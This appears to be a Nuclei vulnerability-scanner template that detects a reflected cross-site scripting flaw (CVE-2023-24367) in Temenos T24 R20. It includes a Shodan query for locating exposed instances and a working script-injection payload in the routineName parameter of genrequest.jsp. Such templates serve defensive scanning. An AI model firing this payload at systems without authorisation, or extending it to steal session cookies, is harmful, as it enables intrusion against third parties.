id: CVE-2023-24367

info:
  name: Temenos T24 R20 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Temenos T24 release 20 contains a reflected cross-site scripting vulnerability via the routineName parameter at genrequest.jsp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability. Additionally, implement input validation and output encoding to prevent XSS attacks.
  reference:
    - https://github.com/mrojz/T24/blob/main/CVE-2023-24367.md
    - https://github.com/mrojz/T24/blob/main/T24_XSS.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24367
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/mrojz/T24
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24367
    cwe-id: CWE-79
    cpe: cpe:2.3:a:temenos:t24:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"T24 Sign in"
    product: t24
    vendor: temenos
  tags: cve,cve2023,xss,temenos,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/jsps/genrequest.jsp?routineName="><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "<title>Processing...</title>"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022046c957aa53f80bd16841823243fd5f315b2dcde1e7deb577531ee6f832eacc4e02200e1eb591ca79d33d1b43d993ff31a4f7e80d59b381230e7f8b7aeb74af224517:922c64590222798bb761d5b6d8e72950